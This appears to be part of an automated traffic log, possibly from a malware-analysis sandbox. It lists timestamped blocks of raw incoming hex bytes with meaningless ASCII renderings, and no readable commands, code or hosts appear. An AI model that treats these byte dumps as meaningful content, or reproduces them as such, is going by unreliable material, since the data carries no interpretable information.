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2021-11-25 16:27:48 UTC 1117 IN Data Raw: 60 34 48 13 fa a0 8b 0b 10 2d 65 1a d8 2e f8 8b 40 9e c0 70 3a 21 59 f1 05 4e 83 14 c1 61 80 f6 99 00 08 08 
ee 79 90 3c 79 75 a3 a0 cc 8e db 4f 6b 14 01 2b e1 58 34 ca b2 59 21 5e 37 50 a3 52 db 30 a7 f5 c4 dc dc 21 97 2e b1 45 
74 dd eb 58 77 21 77 8e 89 18 4e 57 2b 32 a7 c6 a5 ac 96 4f 67 94 5a 45 c2 0d e6 9e fa 31 41 a3 34 63 a0 a7 63 37 ed 1f 
4d 3c 08 9b 8a 62 46 81 5d 33 12 d8 35 6e 11 da e8 ce 21 50 a3 09 1a 7d e1 7e 97 a8 3b 61 72 ab a9 3f ea cf e8 3b aa 58 
dd 89 a7 95 63 6a 54 f3 23 30 45 4d a7 c1 18 68 3a 72 03 79 22 1a 63 a7 f8 b9 a1 ce 24 e3 73 91 3e 97 0a e5 a6 44 87 f0 
d1 a8 07 d1 21 50 3d 16 27 03 fc 6d 38 0d d2 35 c3 9a d6 e1 78 87 0e 6a b2 f3 44 c2 b3 6a f2 3c 09 94 18 a7 4e 30 ef 3c 
6a 21 0d ce 68 d6 e0 a8 7d 61 88 2b 5f cc e1 6d db 91 a8 
Data Ascii: `4H-e.@p:!YNay<yuOk+X4Y!^7PR0!.EtXw!wNW+2OgZE1A4cc7M<bF]35n!P}~;ar?;XcjT#0EMh:ry"c$s>D!P
='m85xjDj<N0<j!h}a+_m

2021-11-25 16:27:48 UTC 1118 IN Data Raw: b0 0b 2d 25 b5 0b 18 b5 4d 18 b2 8e f3 b6 50 c0 41 4a 5a 61 32 b2 4d 0c d0 26 05 0e 87 b9 31 f7 f6 d3 9d e4 
a3 cc d6 71 f3 68 b2 8d 9d 7c 19 a8 22 6b 6c 46 e8 dc 31 ed 15 47 11 42 0c af 26 70 fe 88 22 e4 89 31 12 56 8f c0 52 4d 
e6 74 c7 ef 1a a2 c8 e9 fb 45 77 63 1b bf 97 dc b2 72 08 61 c0 ec f5 2b ec f6 be fc 84 93 d0 53 fb 01 43 3f bc 60 98 cb c2 
38 86 fa 9f e9 78 44 3a a0 43 df 2a ea 38 34 7c 9b fc 22 2d 7b a9 8b a7 f5 7e 23 1d b9 b1 33 92 c1 a6 8f 9b 4e cb d7 23 
6a 64 e8 3a 7b 15 bc 31 12 3e 63 a5 e2 db 53 96 a0 fa b5 c2 03 05 06 59 41 e4 9b ee de bd ca b4 88 a5 5f 21 13 c6 14 9a 
5a 2f 91 27 14 f4 86 70 4a 44 0c da 0b cb 7e 79 9b dd 9f 96 12 54 a7 8c 6f 1a c6 65 8e 76 83 db 8c 7c dd bf f0 51 74 3c 14 
5a 2f 78 bf 22 aa 76 f9 c1 d9 37 76 8c f2 43 ae e2 
Data Ascii: -%MPAJZa2M&1qh|"klF1GB&p"1VRMtEwcra+SC?`8xD:C*84|"-{~#3N#jd:{1>cSYA_!Z/'pJD~yToev|Qt<Z/x
"v7vC

2021-11-25 16:27:48 UTC 1119 IN Data Raw: 67 b5 cc c2 ed 71 ed fc e8 fa 2e a3 c7 e9 bd 64 90 6a b1 68 d4 64 ee fd a8 50 9b 95 5f d6 a6 98 f8 22 fb 5e 46 
83 2a de 2e 2d eb d6 df d6 6e ee 92 f1 f5 90 af dc c0 60 de d0 60 e6 16 12 93 69 2f ec 8e 5b dd 30 63 56 e1 ac 76 9b c9 
df 2d fc 3f fc be 7f 96 d9 0f 5f 5c 9e a0 c5 3f 73 f9 bd fd 37 0c 4f 99 b5 99 3f ad 71 1f f1 cc 0a b9 65 88 c5 03 7e d1 f3 1f fc 
66 ab 0f 1f b7 43 b4 4c c8 54 07 61 c8 df 2a 9b c7 95 da c9 5e 66 e7 fa e6 e4 b4 42 21 5d b7 1f 0c dc 06 d7 4d 01 24 bd 
ac af 66 02 4a 0c ed a8 26 27 a5 d9 bb 2b 8b 85 7c b1 90 af 51 ff fc 3f a8 c8 2a d5 97 39 fc ef 49 a2 31 49 1e 34 25 96 d7 
d8 95 d2 f1 91 f5 5d 91 8f df 7f 83 7c 6c ba dd 46 6f 3c 52 27 75 d3 fb 3b 87 3c 9f 98 87 8a 44 18 bb 22 e1 f6 b2 f9 0e a5 f9 
df 91 8f 47 06 55 20 4f c1 69 7a b5 
Data Ascii: gq.djhdP_"^F*.-n``i/[0cVv-?_\?s7O?qe~fCLTa*^fB!]M$fJ&'+|Q?*9I1I4%]|lFo<R'u;<D"GU Oiz

2021-11-25 16:27:48 UTC 1120 IN Data Raw: 24 b9 7c 67 1d 88 8d aa f0 c8 16 1a 8d e4 48 e2 64 bb b7 de 1d ed 31 f0 4c 9c 54 cd 38 cd 64 b8 1c c7 83 a9 
10 c5 16 ad 99 31 e1 68 33 63 96 63 d5 6c dd cf 92 83 3d f4 13 51 87 f5 59 51 ab 2d ae ed 7d 35 41 38 93 fa 55 85 6c 9f 9f 
b4 ef 03 b7 6c 54 0e ce 44 d3 cd fa c3 cc 56 3c d1 41 1c c5 6c 27 cb 32 e2 86 b1 4c e3 ad a8 fa 33 5b 11 24 c7 f0 b4 1e ab
8d 81 d7 4c 05 79 78 de bb 86 2a 55 2c f1 e5 cc 8b 9c 63 d9 5d 9d 77 9a f0 d0 98 dd 04 77 e6 98 9d b5 13 51 07 33 c7 6c 
47 56 a2 fb 4e 25 4e e3 83 d3 7b 27 ea 51 bc cb 1f 1c b3 1a c0 75 05 69 7e 08 cc ae f4 e3 5d f9 90 db 9c 29 a1 f5 03 fc 3e 
9e 69 19 ba d5 c0 ef 4f 33 bf bf dd 13 4f 39 f3 fb 7e 9d 24 c0 fb cd 59 11 f6 64 df f5 e3 b3 95 c0 b6 6c 25 2e a5 59 2e 55 20
fe 27 6b 1b 0a 11 1b f4 46 df e3 f8 60 79 
Data Ascii: $|gHd1LT8d1h3ccl=QYQ-}5A8UllTDV<Al'2L3[$Lyx*U,c]wwQ3lGVN%N{'Qui~])>iO3O9~$Ydl%.Y.U 'kF`y

2021-11-25 16:27:48 UTC 1122 IN Data Raw: 82 14 1c c7 8a 3b a0 f1 ed 8d 62 a9 a0 81 3b 21 a2 27 5c 98 d1 9e 15 44 6e 0f 9a b0 c1 f3 5c 6e a2 15 d4 a0 
6a 85 06 20 87 b4 45 94 7d 5e 86 a4 7e 2c 69 43 26 45 13 55 34 1d 93 6f 6c 1e 3a 41 b5 40 a3 0b 48 b3 16 01 78 6d bc 
46 a8 b6 d0 8d f3 c7 c2 ce 12 da bc e4 51 21 56 da 6e dd fa a8 5d 77 57 ba ad cb 9a c0 21 29 38 ac fc 5e e5 81 9a 48 56 
df 75 20 33 48 96 47 57 1b 9c 3d de 3f b3 97 1b 19 31 6b 5e d9 72 d0 5f 59 34 eb ac a6 10 9e 8f 55 a2 39 79 16 19 00 b3 
5e ce 9c 46 96 1d a7 cf 78 14 47 d3 c2 c3 08 7c ef e7 cf 1f 7e af f7 d0 0a 4b d9 2c 5e ad 38 a3 38 19 dc 1a ee 74 51 df 36 
15 7b 56 df de 73 16 32 26 d1 a2 31 3c a6 d8 dc 01 d6 0e f7 c8 1e 69 13 1b 7b a4 af e8 10 3f f7 7a 54 46 a8 8c 61 e8 8f 07
40 5b 48 90 da 3a 04 05 bd 8e db ea 2a 0f cb d2 98 c9 
Data Ascii: ;b;!'\Dn\nj E}^~,iC&EU4ol:A@HxmFQ!Vn]wW!)8^HVu 3HGW=?1k^r_Y4U9y^FxG|~K,^88tQ6{Vs2&1<i{?z
TFa@[H:*

2021-11-25 16:27:48 UTC 1123 IN Data Raw: 63 20 04 b3 6d b7 db c8 a2 cd 1a 7a df 43 8f d9 a2 42 5e 94 05 9c 17 65 69 52 ba 8d 7e 77 d1 33 a1 7c 93 36 
18 2f 6e 0c 79 77 70 6c 15 76 96 c5 d2 ce 8a c8 15 b4 d6 d0 1c 55 54 d9 da 68 bb 8d aa a4 3c ec f2 bd fc d6 10 d9 51 cb 
7f c8 8a b1 6f 1d f1 67 04 bc 10 1f 0a c2 98 0e 63 47 e6 b7 ba b3 12 cf 6a 1c 65 35 fe ad ac f6 7e fe e4 d8 ac 85 ab 48 df 
11 6c c6 16 e4 f4 40 10 e1 5e 08 74 41 38 ee e2 e5 62 96 9b dd d1 f9 08 1d ed 9d 08 aa fb 51 6f a8 11 36 5b 41 38 15 8d 
96 d2 71 95 d4 ef 70 a5 1c cd 58 e4 9e e9 dd 06 f1 2a c8 6f a0 0b bc 2e 50 0f 39 af 85 74 09 fa ae 91 21 93 f2 b1 79 bd 92 
e2 9f b4 03 8d 86 38 49 63 2b 69 1b 31 75 83 62 0c f4 17 6f a3 00 04 89 1a ec 37 3c 83 1a e4 93 13 b1 31 e7 62 05 c3 02 
48 d0 61 87 6d cb 55 c2 7d 39 c5 17 16 ca 64 c8 53 
Data Ascii: c mzCB^eiR~w3|6/nywplvUTh<QogcGje5~Hl@^tA8bQo6[A8qpX*o.P9t!y8Ic+i1ubo7<1bHamU}9dS

2021-11-25 16:27:48 UTC 1124 IN Data Raw: 55 9c 34 03 e2 9d 94 d7 76 06 09 fd b0 8b b4 cb 08 ed 95 a3 12 1f 93 e1 37 c8 fe ec 1b 1a 0b f2 2f 73 fe 19 86 
10 17 55 84 b5 be 88 e9 11 a5 7a 84 68 c4 7d 3e 54 53 d5 bf 94 8f 0e ad fe a5 fd 64 18 e8 14 e7 d5 59 1e 36 a4 66 43 2d 
99 b7 ec 10 d3 ed 42 ad fa 0b 2b f5 48 02 ca a9 85 24 95 9b 02 d5 3a 60 48 f2 e5 20 12 4c 06 0b 0b b6 bf e0 b8 b7 c1 9d 
08 b4 ec 15 47 71 c1 f1 20 d0 ac e2 3b 78 2e 66 ad c4 8f 7f 82 c3 7c af c0 e3 ff 2e ca f1 34 94 0b 1d bf 97 c9 3e 8d ee 15 
50 54 0b 1c 32 f4 86 32 87 57 bd b2 b0 10 d8 fe 6d b0 58 b8 73 f4 37 e8 8c 32 69 be 27 2e 79 a7 e4 bc 48 b8 eb 4b 88 8d 
e0 36 d0 82 e7 3b ec e8 fa 5d 49 a2 f7 b0 2c f8 83 55 ff a2 dd 05 d9 0a c6 d4 87 6f e5 86 e9 62 a0 56 dd c8 7f 26 f3 65 35 
44 89 ac e1 1b 42 79 73 e6 d2 da 3f 10 84 6f a8 
Data Ascii: U4v7/sUzh}>TSdY6fC-B+H$:`H LGq ;x.f|.4>PT22WmXs72i'.yHK6;]I,UobV&e5DBys?o

2021-11-25 16:27:48 UTC 1126 IN Data Raw: cd 92 e3 1b 9d f8 0c eb a7 90 06 b7 7a dd 6e 48 05 1e f5 86 a3 e3 5e b7 35 ea 0d f0 9e 4c 55 a3 1e 21 9e 5b 
8f 35 a0 c6 b7 11 7c cc d6 77 8a 8a e6 d3 d7 79 1d 7d 35 b8 cb a4 9a d9 f1 f2 0e 6b 57 dd 08 e6 da 64 04 a6 2e dc d0 e4 
3c 5e 74 0d 9d 37 8c c6 59 f1 a1 9e fb 4a 3e 0c c6 c8 26 b7 6b 76 42 5e 84 38 e0 b9 5e ce 1d 8d 62 24 60 43 e5 31 a8 0f 
b3 a2 f1 25 c8 75 7a 0c 5c 2e 8f 62 5f 5d 7f ce a1 9a 58 90 0b 3a 38 17 7a 35 d1 95 52 99 a1 dc 4c 75 47 c1 ae 38 44 92 
cf 1d 74 32 40 9b 35 1a 64 17 58 ca c8 31 1c bd 17 1f 85 dd 29 69 06 d3 cb c8 df 80 41 ca 7d b3 86 35 74 c9 8e bf f1 34 
b4 46 f8 5a c6 8f 0d 49 4a 95 62 3e 2d 99 5d 6f bd 85 1b 0a b2 a7 49 90 3d 4d c4 01 8c d1 de 3d 6b 75 69 ad 20 7e 7c f7 
4a 31 24 ec 86 02 78 15 59 76 9a d4 61 bf 2a e3 dc 15 b2 
Data Ascii: znH^5LU![5|wy}5kWd.<^t7YJ>&kvB^8^b$`C1%uz\.b_]X:8z5RLuG8Dt2@5dX1)iA}5t4FZIJb>-]oI=M=kui 
~|J1$xYva*

2021-11-25 16:27:48 UTC 1127 IN Data Raw: 60 98 fc 0d 34 c6 5e 1a ad 30 47 4f 68 01 2b 36 ef d5 7e 7d 7b e7 c4 93 90 92 6b c4 0e 3f 74 2e 7a 8f 52 ef e7 
e2 97 db 25 6a 66 a6 6e 95 fb ad 46 f3 22 1c 12 08 48 75 80 fb e6 20 d2 9b 51 ee ed 51 f7 82 20 74 69 3b c3 12 2b c9 a5 
fd ee 7a 2e 4e ad 67 04 80 7d a2 85 2c 6f 8f 94 ed 09 86 a1 3d 30 4d fe a5 15 dc 90 e0 10 d6 2b 80 2f 32 e3 b3 c4 d0 18 
ff 40 80 e6 27 ee 89 bc 95 8c 47 7c 4f ad b7 56 53 6a bd 57 d3 c3 17 e1 09 6d 2b fc 2b 73 c7 c7 ee 64 de 7b a7 7c 59 a3 
c9 14 7d 90 78 f0 e2 92 87 ee 0a 0e 75 3c 37 b0 a4 ef a9 44 a5 ce 97 0f 99 eb 9a c9 ac 99 da f1 22 3e 02 3c 4f 3e 20 c9 
83 3d 50 76 09 64 80 aa b5 ad ee 72 ab 35 0b 15 0d 97 6c e5 13 40 06 2c db 4a 9c 50 45 01 d0 2b 2a cb 23 81 d2 1a 42 
4e 78 39 1c 38 3f f6 ef 4b be 38 7f 28 05 a2 5b 0a 27 fa 
Data Ascii: `4^0GOh+6~}{k?t.zR%jfnF"Hu QQ ti;+z.Ng},o=0M+/2@'G|OVSjWm++sd{|Y}xu<7D"><O> =Pvdr5l@,JPE
+*#BNx98?K8(['

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 1128 IN Data Raw: b5 a3 b0 6f e7 c7 83 67 0f c2 3a 51 d8 e5 e5 f2 db 0e e6 d7 8d c2 0e 77 db 67 3d 0c eb 45 61 5f 6b dd e3 73 08 
ea 47 41 ad 95 87 ca 13 46 1b 44 61 de d7 a3 d7 06 56 c5 8b c2 ae dc f1 ea 21 86 05 51 d8 4d ef a8 7a 80 55 09 a3 b0 cd 
c2 e5 e3 09 c6 ab 47 61 bb c5 9d 83 36 96 d1 88 c2 b6 bd c1 b5 87 61 37 69 1c 2c 32 71 4a 31 1a 46 f9 e6 77 08 fe e6 c2 
82 9a db 05 e5 26 b4 a9 7c 93 35 16 2c 97 b5 b5 1b f6 47 a9 25 cb c2 eb cb 99 72 8f a4 2e e2 3b 22 10 89 c6 5a 21 12 fb 
1d 61 b1 5e 70 9d f8 eb 38 6d 39 5e c5 64 ca 4d cd ba 99 a7 ff 36 6e cc 24 86 f0 a4 e5 ba 3d 49 95 2f 37 1c f2 60 b4 73 a9 
a5 c9 bb f1 55 45 d2 e4 8a 56 1d af cc 52 1d df b9 44 62 6e ef 32 b1 cf 44 8a de 57 c0 b5 55 51 da e7 1b 42 e6 b1 29 64 
b6 7f 4c ec 59 02 e8 80 c4 ca 28 77 40 cc 1d 25 7a 
Data Ascii: og:Qwg=Ea_ksGAFDaV!QMzUGa6a7i,2qJ1Fw&|5,G%r.;"Z!a^p8m9^dM6n$=I/7`sUEVRDbn2DWUQ
B)dLY(w@%z

2021-11-25 16:27:48 UTC 1129 IN Data Raw: 2e 2a 30 2c 57 26 cd 60 7a 35 d5 8a 79 72 02 78 8e e1 54 f4 07 19 8d 85 01 5a 93 76 dc 97 8b 90 9c 41 75 5a 
a3 61 a9 90 9f 94 bc 32 4c d5 4b 05 75 d8 10 48 5a 99 7a e8 37 97 e4 5e 37 56 76 dc 45 aa 61 87 fb a2 81 ff 87 17 1f b4 
91 06 ea 1d a3 66 c4 82 15 99 6d 2c 5a b1 18 d1 87 d2 e8 02 8f c7 44 89 69 ae 57 33 b2 2b 13 51 bf b7 52 3a 26 22 29 60 
b3 51 4b cf 4d f1 05 1f a9 f7 7e bf 24 ed 16 35 b8 bc 51 44 c6 4d 7c d3 c8 74 50 05 c1 10 90 0e 52 14 90 5b 87 29 ad cd f8 
08 2b 21 0c 88 0c 72 af 28 c5 d9 20 ec bb 03 b2 af 93 88 09 1a b1 86 28 2e 9d 93 fc 88 60 25 48 6c 85 19 b7 9b e9 a1 67 
15 ca cd fb 65 6e bf ca b5 4f 49 43 ca cd e7 dc a4 bb 97 0c 39 0b ca 10 b1 45 ca 43 d2 ab e1 9f dd 0c ff 4f d2 82 01 a7 da 
4d 66 a9 0b 53 55 60 c7 86 bf a8 43 ef 2a 79 1d a3 
Data Ascii: .*0,W&`z5yrxTZvAuZa2LKuHZz7^7VvEafm,ZDiW3+QR:&")`QKM~$5QDM|tPR[)+!r( (.`%HlgenOIC9ECOMfS
U`C*y

2021-11-25 16:27:48 UTC 1131 IN Data Raw: 86 b8 01 59 24 2b 13 31 69 32 f3 06 e9 69 4d 55 39 50 3d bb 7d 85 d2 38 aa d7 ca 7a 61 0d 55 25 66 55 63 27 
16 75 1d 45 e8 96 da fb 20 e0 93 da fb 38 e3 dd 2b 31 87 aa 17 6c 7c c2 f3 65 13 38 d8 4e 9f 66 3a 92 b3 12 78 92 c5 93 
38 ad 0e a6 48 e4 64 94 38 0b 43 9f a7 ae 4b 65 05 f6 af 6c 79 10 69 27 e2 1f 92 67 51 e2 00 ea 4c 6f b9 b0 f7 64 03 45 
52 c7 ee a5 fa 17 30 4b 48 fa 87 bb 91 1c 18 aa 51 44 74 cb fa 54 5d eb 80 89 9b af 12 8f 6e 4f cb 48 68 f7 d2 1b ef d9 66 
ad 42 fb 6e b4 1d 92 a5 4b 5a ff c1 e6 3a ee c4 3b f0 5b b2 03 a7 e3 24 96 23 47 98 d5 87 87 b2 0f 65 b5 de e9 3f a3 0f 38 
cb b4 4e f8 76 15 9d 6f 4d 1d ef bf ed fb 82 e6 39 4f ac ec f7 ac 71 7c 19 43 1e 43 68 7d b8 b0 6e ef 04 fc 63 5a c5 23 aa 
42 9f 5e 89 13 e8 88 fb f2 a0 d1 ed 0d 08 ba 01 
Data Ascii: Y$+1i2iMU9P=}8zaU%fUc'uE 8+1l|e8Nf:x8Hd8CKelyi'gQLodER0KHQDtT]nOHhfBnKZ:;[$#Ge?8NvoM9Oq|
CCh}ncZ#B^

2021-11-25 16:27:48 UTC 1132 IN Data Raw: 3c 3c ce 9b c6 8b 5c 94 cd e4 5a aa a1 06 dc 4a 61 25 af b0 6b 19 16 a7 a9 7f f1 9d 70 fa 8d 11 d2 52 39 ad 5a 
44 5d 45 3d f4 95 3d 6a b7 fd db 60 c1 bf 43 41 33 63 e3 e8 4c dc 5c d7 9f 6e 4b d7 4f 99 5c 2e 0f 30 3c 29 57 e5 72 db bf 
f5 20 6b 72 7b e2 11 47 c1 26 fa b4 72 80 7d 78 76 11 d9 94 db dc 4a b6 d9 40 6c 51 07 ea 6f c1 21 aa 66 e2 11 15 01 d0 
04 1c 65 0b 8e 19 54 ef 34 10 64 03 9d 6d c8 d9 46 41 b6 9b bb 26 25 c5 50 62 c1 f8 84 bd 72 af f6 1a 5a 8a 17 6a 41 e3 
1a ad 9d c9 15 3a 54 b0 97 01 af 55 96 44 4a c2 7f d8 0a 24 23 81 4b ff 81 b3 db 1c 07 ad 5e e6 77 33 1d 43 0d fb a1 3f 
0a 03 a0 7f a6 4b 48 96 51 99 de e6 e5 6a ba bf 56 9b 72 fb 1a 3e 75 ae 59 9d 34 86 45 3a e2 bb ae 69 c3 79 7d 1f 29 cf 
77 5c d8 93 48 99 0d 56 07 26 8e ee 6c 27 4c 47 3d 
Data Ascii: <<\ZJa%kpR9ZD]E==j`CA3cL\nKO\.0<)Wr kr{G&r}xvJ@lQo!feT4dmFA&%PbrZjA:TUDJ$#K^w3C?KHQjVr>u
Y4E:iy})w\HV&l'LG=

2021-11-25 16:27:48 UTC 1133 IN Data Raw: 69 4b 20 61 9b c2 06 4d d2 8c 89 e7 36 de f1 03 39 a3 c6 03 c6 67 4e da b9 c0 91 e8 9a e7 a1 81 c1 6b d4 b8 
e1 38 08 b8 05 d4 e2 2e 24 13 1f 42 e3 db 77 14 43 6a 8c 07 59 ac 15 3a cf d8 25 d0 65 31 62 2e 96 fd 64 fa 28 a8 c7 f7 
ec 7a 62 bf 16 54 7c fe 73 a8 28 54 b1 87 01 2f d7 68 d7 4e b6 80 6f d7 29 db 15 22 24 d0 a4 d2 04 32 a1 9f df de 95 13 
cc 6c 68 30 b3 9a eb d4 cc 6c e8 28 7e 93 fb 37 d4 c8 a7 21 30 23 21 ce 5d 04 27 7a c2 07 59 af e5 4d 57 d5 81 fa 09 85 
ee 5f 58 db 17 56 d6 3f 3b b9 1e a3 99 2b 0a 10 14 d5 fd c5 23 ee 03 17 6c b8 03 94 01 c1 06 08 4d 93 03 33 cf 00 04 3e 
59 1a 91 6b d1 62 1e 75 29 c4 b7 5d ea 71 24 6c 37 af 13 42 35 35 4b e6 18 00 16 16 29 c4 f6 44 90 46 cf eb 09 14 da 4a 
18 9d d2 34 b4 01 ea 85 1a 6b ee c7 44 34 1d bc f2 f5 1f 
Data Ascii: iK aM69gNk8.$BwCjY:%e1b.d(zbT|s(T/hNo)"$2lh0l(~7!0#!]'zYMW_XV?;+#lM3>Ykbu)]q$l7B55K)DFJ4kD4

2021-11-25 16:27:48 UTC 1134 IN Data Raw: 85 7b 72 1f 21 5f da 53 56 6c ed a6 29 43 d2 0d 4e ad 8c e4 e7 5f e3 32 25 ad c1 ee c4 8c a1 08 ae a2 81 7f bb 
b8 17 b0 19 94 a9 2d 28 dc 64 e7 b9 b2 e7 10 4a 39 21 59 22 9d 67 d4 d6 6e c2 76 31 80 7d dc 77 a1 2f 29 14 ef fd bb 61 
3b 87 f6 40 ae be 1b 8f 5f 1c c5 ed ef b4 4a 50 db f5 c2 b6 92 29 f9 bd 76 9b 1d 9d 0c a5 90 88 ab b7 8d 20 61 7d f7 15 4f 
8f 38 d6 62 16 cb 47 11 cc 16 57 41 cb 96 aa ae 75 84 93 4e a5 92 89 94 7a 97 91 f9 57 cc bc e9 1a 71 b5 92 c6 4b bc 9b 
dd dc 1e ca 8c dc dc 43 13 dd 0c 12 ca d8 b1 92 02 b1 2a bb 34 ea 93 f7 85 04 82 80 32 5c 12 d5 9d 24 a3 d2 61 99 8c 4a 
87 e7 e9 af 72 a5 29 4c b9 9e fd 2a 57 8a fa 61 6a 40 b6 ee 93 52 77 e3 86 7d 8f 70 78 3e 28 0b 65 be 3d de 30 57 f4 f1 
b5 71 d3 76 72 ad 68 23 c2 cd 20 53 23 99 78 c4 89 
Data Ascii: {r!_SVl)CN_2%-(dJ9!Y"gnv1}w/)a;@_JP)v a}O8bGWAuNzWqKC*42\$aJr)L*Waj@Rw}px>(e=0Wqvrh# S#x

2021-11-25 16:27:48 UTC 1136 IN Data Raw: 94 5a 17 d9 3e 22 9c 64 45 c3 00 44 b1 cb 58 0d a7 4e 7a 8d 13 df b9 3a 43 93 9c c0 9e 60 0f 76 94 3d 06 a9 
0b 3e 9c 13 8e b6 be 1f 1d 9f b3 ba be 18 24 c9 21 42 09 c8 3d ba e4 96 13 a1 20 e0 b7 56 09 56 0a 4c 04 02 e2 de a3 ed 
a2 e5 39 03 cc 6c fa 4a f2 c3 80 2a de 2c ae 2e 67 a5 61 c0 7d 6e 50 ff ad 44 4f fd 4f 9c c6 73 1e 31 22 22 55 40 45 f0 c3 
7a d6 56 37 14 97 15 72 ad f5 d8 45 85 5b 56 15 75 5b f3 f3 3e 3b d3 7a ac c3 34 d1 2d 98 a5 74 1a 2b 0f ef 40 c3 8d e9 
32 e1 23 7b 08 c3 ea 93 4a c6 4f 56 16 5d 5b 2b da 78 c5 ae de d0 37 0f cc 4c 55 6a 9a c2 44 bc 57 0c 64 83 61 ca 50 f0 
ca a9 9d d1 0f fb 83 03 bf d2 11 87 f0 b3 5a 45 73 ef c6 82 2e a5 d1 ff 83 33 45 20 e1 09 56 56 16 f3 f8 7e 31 f0 99 26 d4 
bb 31 84 ec c1 3f 38 43 2c 02 d5 9f ae 54 19 57 ef 
Data Ascii: Z>"dEDXNz:C`v=>$!B= VVL9lJ*,.ga}nPDOOs1""U@EzV7rE[Vu[>;z4-t+@2#{JOV][+x7LUjDWdaPZEs.3E V
V~1&1?8C,TW

2021-11-25 16:27:48 UTC 1137 IN Data Raw: 08 18 b9 33 28 0f 86 ac 86 8f 82 a8 1c c2 a3 28 9e 20 1d cc 8f bd 6d 78 2c 8b 4d 7c ac 88 17 48 00 e3 f8 08 25 
c0 38 8e f1 01 23 80 8f 4f 62 17 a2 c0 38 6e e1 a3 20 be 41 09 38 1e f8 28 88 43 7c 14 45 05 4a 87 f1 18 ef c2 03 9a 89 0f 
68 26 34 05 06 e2 09 da 00 03 d1 c3 b7 75 51 ff 06 8f 4f a2 06 59 af 14 78 f1 bc de 24 08 32 06 9b 8f 1f e6 d3 60 f3 69 9e 
0b e2 28 f3 c7 6e d7 6d 44 c7 de a1 3a f6 ae 15 78 97 84 f3 bd 56 40 5f 0d e7 e5 86 8f 80 6b f1 f7 f2 1e cf c4 3e 1f 47 57 
6d a1 c6 93 66 e1 8b d2 4d 30 00 4b f6 1c 2d d6 88 23 1b cb 43 59 9d 70 2f be f5 78 11 03 c9 aa 4b 07 22 0d 21 21 04 b4 
0a d9 99 89 fb dc 56 08 03 1a d0 3a 76 68 de 1b a5 6d d3 a7 46 55 42 97 d3 db d7 73 8d 7a ec 6b d0 eb 40 91 15 0a 52 
3a 86 df cd 58 bc 7f f0 d5 a5 b6 ab 92 fd 47 22 
Data Ascii: 3(( mx,M|H%8#Ob8n A8(C|EJh&4uQOYx$2`i(nmD:xV@_k>GWmfM0K-#CYp/xK"!!V:vhmFUBszk@R:XG"

2021-11-25 16:27:48 UTC 1138 IN Data Raw: 00 99 58 d1 30 d8 31 38 2e ba 2c ef 06 b8 7c e8 14 66 5d 77 9a 7e 64 f8 19 38 f9 72 a0 75 20 ca c1 c2 82 cd 
33 ef 36 b8 03 42 20 24 c3 03 5b 24 40 25 5c 27 5b 1b 46 0a 34 44 02 45 f3 0c 11 f7 99 18 0c a9 a9 4c 0f 4e 57 43 e9 76 
c0 ff ad 33 bc 3b 17 1a ce 19 f6 83 1a 21 f8 63 4a 94 6a ab 46 a1 22 c4 30 4c cd 6f ce 8d c1 77 25 28 cc 04 fc 18 0c f8 ce 
d4 80 6f ce 26 be e8 5c 1a 92 ee bf d2 cf 48 99 9f e9 13 dc bd 46 5c 7f 3e 19 5d 3c 74 13 35 9b 46 56 8d 8d b3 d6 e9 64 
55 57 12 fd fe 0e 24 ec 82 ab 50 8f 67 c0 ef c3 79 f5 8f e0 5b 23 b0 7e 76 bd 2c 65 92 6f 37 a9 88 9e 09 46 26 4e 5a 68 3c 
d0 69 b2 b6 92 46 6f d5 2e e6 e7 6b 17 b9 fb 0d 6f 64 e1 d3 2e c1 0f b2 f0 24 f5 aa 6d 41 60 5b 01 8a 56 9b 65 05 06 4f 6b 
ec b4 bd d1 ae 92 44 b5 44 4f b6 12 e5 83 ea 9e 
Data Ascii: X018.,|f]w~d8ru 36B $[$@%\'[F4DELNWCv3;!cJjF"0Low%(o&\HF\>]<t5FVdUW$Pgy[#~v,eo7F&NZh<iFo
.kod.$mA`[VeOkDDO

Timestamp
kBytes
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2021-11-25 16:27:48 UTC 1140 IN Data Raw: 6b bc 6c 70 ce a9 6d e3 e3 db 4b 09 44 c6 04 67 ee 6f bf 7b ef 0a 2a 05 30 fd 3c 33 ef 39 77 f5 8c 0b 49 55 a5 
52 85 9d c3 1d 9e 5a e4 df 88 b7 18 8e 6b b5 86 83 32 5d 95 e3 07 38 8f de b3 46 7f a8 a4 8a 88 5c 7b 37 69 11 b4 b5 96 
f9 57 5f 2f 33 9e a1 f7 ad 46 8c 7f e9 73 98 8d 54 b2 0c 61 8e 69 1b a4 0c cd 9e 65 ce 2c 85 54 62 76 0d 1e 12 a1 7a 9b 
51 d9 10 3e 11 ba f1 06 7f 04 0d 26 43 34 bd ac 22 83 41 c2 cd 2a 99 01 2e f2 d8 7c 28 35 e1 e2 9c ee 05 8a 56 31 d6 2a 
aa b3 9e d0 c4 d5 e1 a6 81 d2 6c c2 22 7b 65 47 d9 2b 63 5a 2e 27 c3 02 b7 06 4a cb 65 f3 dc a4 c8 10 75 b9 59 1c fc 1a 
dc f0 5f 80 2c cd 97 f3 f4 33 8e 08 b3 87 d5 e1 21 3f 1d d8 1f de 4b bb 94 5e 2d b3 e1 9a ed 73 b4 bf c0 0b 03 d9 aa 67 8b 
a5 31 2a c3 23 3c f4 f0 a1 07 0f e1 c2 c0 b3 f0 68 
Data Ascii: klpmKDgo{*0<39wIURZk2]8F\{7iW_/3FsTaie,TbvzQ>&C4"A*.|(5V1*l"{eG+cZ.'JeuY_,3!?K^-sg1*#<h

2021-11-25 16:27:48 UTC 1141 IN Data Raw: 88 0b ce aa 0b 78 75 d0 69 74 91 77 13 71 f4 1a c3 85 36 85 3d 00 6c 8b 26 ee c5 24 13 f7 66 f6 a6 43 86 4f 33
5e b9 60 eb 19 97 87 00 3d 1a 00 50 a8 6f 8c bd 20 bf 8d 23 58 be 76 4b b0 5a 3c 30 54 ea 0f 14 b3 a7 c5 5e bd 14 d3 30 
1a 34 ea 80 a9 b1 ef d7 05 fd 8d 4c cc 0a 7e 60 ea 5b 9a 4f 2a 86 89 13 8e 5a c3 0c 8a ed f9 4b 0a b9 e5 15 a0 21 84 bc 
91 bf cd a2 a4 34 2a c4 d5 68 aa c4 b5 87 a6 74 8e 35 4a cf c0 39 64 c6 81 36 1e 3c 98 7c 85 e3 c7 e3 b1 18 9d 54 06 c3 
f0 a4 c6 91 8c 2a f8 20 4b 09 c9 a8 03 6c f6 f3 2e 4d 39 1c 44 ee be d8 ca 24 67 8d f8 4f 72 e0 89 51 5f 86 37 20 49 10 24 
